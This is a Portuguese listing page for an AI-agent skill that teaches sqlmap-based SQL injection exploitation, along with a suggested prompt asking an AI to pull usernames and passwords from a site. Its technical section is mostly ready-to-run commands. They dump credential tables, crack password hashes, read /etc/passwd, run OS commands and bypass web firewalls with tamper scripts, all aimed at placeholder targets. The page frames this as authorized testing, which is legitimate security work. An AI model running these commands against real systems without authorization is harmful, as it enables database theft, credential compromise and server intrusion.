exploiting-sql-injection-with-sqlmap
Ajuda seu agente a detectar e explorar injeções de SQL usando a ferramenta sqlmap.
O que ela faz
Esta ferramenta ajuda a encontrar e explorar falhas de segurança chamadas 'SQL Injection' em sites. Ela permite extrair informações importantes de bancos de dados de forma autorizada, como parte de testes de segurança.
Quando usar
- ✓Ao testar a segurança de sites com permissão.
- ✓Quando suspeitas de falhas em formulários ou links.
- ✓Para provar o impacto de uma falha de segurança, roubando dados.
Exemplo do que pedir para a IA
“Encontre falhas de SQL Injection no site example.com e extraia os nomes de usuário e senhas da tabela 'users'.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta envia comandos especiais para o banco de dados do site. Se houver uma falha, ela consegue ler ou modificar informações, como se estivesse conversando diretamente com o banco de dados.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-sql-injection-with-sqlmapOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-sql-injection-with-sqlmap/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Explorando Injeção SQL com sqlmap
Quando Usar
- Durante testes de penetração autorizados em aplicações web
- Quando testes manuais revelam pontos potenciais de injeção SQL em parâmetros, cabeçalhos ou cookies
- Para validar descobertas de injeção SQL de scanners automatizados como Burp Suite ou OWASP ZAP
- Quando você precisa demonstrar o impacto da injeção SQL extraindo dados de bancos de dados backend
- Durante desafios de CTF envolvendo exploração de injeção SQL
Pré-requisitos
- Autorização: Acordo escrito de teste de penetração (Regras de Engajamento) para o alvo
- sqlmap: Instale via
pip install sqlmapouapt install sqlmapno Kali Linux - Python 3.6+: Runtime necessário para o sqlmap
- Burp Suite (opcional): Para capturar e reenviar requisições HTTP
- Acesso ao Alvo: Conectividade de rede com a aplicação web alvo
- Navegador com proxy: Firefox com FoxyProxy para interceptar requisições
Fluxo de Trabalho
Passo 1: Identificar Pontos de Injeção Potenciais
Navegue manualmente pela aplicação e identifique parâmetros que interagem com o banco de dados. Use o Burp Suite para capturar requisições.
# Start Burp Suite proxy and capture requests
# Look for parameters in URLs, POST bodies, cookies, and headers
# Example target URL with a suspected injectable parameter:
# https://target.example.com/products?id=1
# Test manually for basic SQL injection indicators
curl -k "https://target.example.com/products?id=1'"
# Look for SQL error messages like:
# - "You have an error in your SQL syntax"
# - "ORA-01756: quoted string not properly terminated"
# - "Microsoft SQL Native Client error"
Passo 2: Executar Scan de Detecção Básica do sqlmap
Execute o sqlmap contra o ponto de injeção suspeito para confirmar a vulnerabilidade e identificar o tipo de banco de dados.
# Basic GET parameter test
sqlmap -u "https://target.example.com/products?id=1" --batch --random-agent
# For POST requests (save the request from Burp Suite to a file)
sqlmap -r request.txt --batch --random-agent
# Test specific parameter in a POST request
sqlmap -u "https://target.example.com/login" \
--data="username=admin&password=test" \
-p "username" --batch --random-agent
# Test with cookie-based injection
sqlmap -u "https://target.example.com/dashboard" \
--cookie="session=abc123; user_id=5" \
-p "user_id" --batch --random-agent
Passo 3: Enumerar a Estrutura do Banco de Dados
Uma vez confirmada a injeção, enumere bancos de dados, tabelas e colunas.
# List all databases
sqlmap -u "https://target.example.com/products?id=1" --dbs --batch --random-agent
# List tables in a specific database
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db --tables --batch --random-agent
# List columns in a specific table
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users --columns --batch --random-agent
Passo 4: Extrair Dados de Tabelas Alvo
Descarregue o conteúdo de tabelas sensíveis para demonstrar o impacto.
# Dump specific columns from a table
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users -C "username,password,email" \
--dump --batch --random-agent
# Dump with row limit to avoid excessive data extraction
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users --dump --start=1 --stop=10 \
--batch --random-agent
# Attempt to crack password hashes automatically
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users -C "username,password" \
--dump --batch --passwords --random-agent
Passo 5: Testar Vetores de Exploração Avançada
Avalie o impacto total testando acesso em nível de sistema operacional e operações de arquivo.
# Check current database user and privileges
sqlmap -u "https://target.example.com/products?id=1" \
--current-user --current-db --is-dba --batch --random-agent
# Attempt to read server files (if DBA privileges exist)
sqlmap -u "https://target.example.com/products?id=1" \
--file-read="/etc/passwd" --batch --random-agent
# Attempt OS command execution (MySQL with FILE privilege)
sqlmap -u "https://target.example.com/products?id=1" \
--os-cmd="whoami" --batch --random-agent
Passo 6: Usar Scripts Tamper para Contornar WAF/Filtros
Quando Firewalls de Aplicação Web ou filtros de entrada bloqueiam payloads básicos, use scripts tamper.
# Scripts tamper comuns para bypass de WAF
sqlmap -u "https://target.example.com/products?id=1" \
--tamper="space2comment,between,randomcase" \
…
Perguntas frequentes
O que é SQL Injection?
É uma falha de segurança que permite a um atacante inserir comandos maliciosos em um banco de dados através de um site.
Preciso de permissão para usar esta ferramenta?
Sim, é crucial ter autorização escrita antes de testar qualquer sistema. Usar sem permissão é ilegal.
O que são 'tamper scripts'?
São pequenos programas que ajudam a ferramenta a disfarçar os comandos enviados, para que firewalls ou outros sistemas de segurança não os detectem.
Detalhes
Descrição original do autor
Detecting and exploiting SQL injection vulnerabilities using sqlmap to extract database contents during authorized penetration tests.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #5761
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
agent-architecture-audit
Faz seu agente verificar se tudo está funcionando corretamente. Ele encontra e conserta problemas em sistemas de IA, garantindo que funcionem como esperado.
affaan-m/ECC
agent-eval
Ajuda seu agente a comparar diferentes ferramentas de programação de IA. Ele mede qual é mais rápido, barato e confiável para realizar tarefas específicas.
affaan-m/ECC
agent-harness-construction
Faz seu agente entender melhor como realizar tarefas. Ele otimiza as ferramentas e instruções que o agente usa para aumentar suas chances de sucesso.
affaan-m/ECC